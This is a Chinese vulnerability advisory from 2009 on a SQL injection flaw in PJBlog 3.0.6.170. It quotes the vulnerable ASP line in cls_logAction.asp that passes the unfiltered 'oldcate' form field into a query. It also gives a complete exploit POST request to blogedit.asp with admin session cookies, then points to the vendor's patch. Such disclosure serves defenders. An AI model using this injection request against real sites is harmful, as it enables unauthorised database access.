PJBlog个人博客系统cls_logAction.asp文件存在注入漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2009-05-10
PJBlog个人博客系统cls_logAction.asp文件存在注入漏洞

影响版本:PJBlog 3.0.6.170
程序介绍:
PJBlog一套开源免费的中文个人博客系统程序,采用asp+Access的技术,具有相当高的运作效能以及更新率,也支持目前Blog所使用的新技术。

漏洞分析:
在文件class/cls_logAction.asp中:

oldcate=request.form("oldcate")  //第429行oldctype=request.form("oldtype")D = conn.execute("select cate_Part from blog_Category where  cate_ID="&oldcate)(0)

程序没有对变量oldcate做任何过滤放入sql查询语句中,导致注入漏洞的产生。

漏洞利用:

POST /blogedit.asp HTTP/1.1Accept: application/x-shockwave-flash,  image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword,  application/vnd.ms-excel, application/vnd.ms-powerpoint, */*Referer: http://127.0.0.1/blogedit.asp?id=1Accept-Language:  zh-cnContent-Type: application/x-www-form-urlencodedUA-CPU:  x86Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible;  MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727)Host:  127.0.0.1Content-Length: 513Connection: Keep-AliveCache-Control:  no-cacheCookie:  __utma=96992031.4542583209449947600.1239335726.1240296350.1240324232.7;  __utmz=96992031.1239335726.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);  PJBlog3Setting=ViewType=normal;  PJBlog3=memRight=111111111111&memHashKey=c80f369e20b317566f736dbc70839834745d9c20&memName=admin&exp=2010%2D4%2D21;  ASPSESSIONIDCCDSDABA=OEBBHCODJFKIJEGKGCPHGMCPid=1&log_editType=1&action=post&log_IsDraft=False&title=xxx&log_CateID=3&cname=xxx&ctype=0&oldcname=xxx&oldtype=0&oldcate=3201=1&log_weather=sunny&log_Level=level3&log_comorder=1&blog_pws=0&log_Readpw=&log_Pwtips=&c_pws=0&blog_Meta=0&evio_KeyWords=xxx&evio_Description=web+safe&log_From=%E6%9C%AC%E7%AB%99%E5%8E%9F%E5%88%9B&log_FromURL=http%3A%2F%2Flocalhost%2Fbackci%2F&PubTimeType=com&PubTime=2009-4-21+15%3A54%3A46&tags=&UBBfonts=&UBBfonts=&UBBfonts=&UBBmethod=on&Message=web+safe&log_Intro=web+safe&log_Quote=

解决方案:
厂商补丁:
PJblog
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://bbs.pjhome.net/thread-52214-1-1.html

信息来源:
<*来源: Bug.Center.Team http://www.cnbct.org
链接: http://wavdb.com/vuln/1410 *>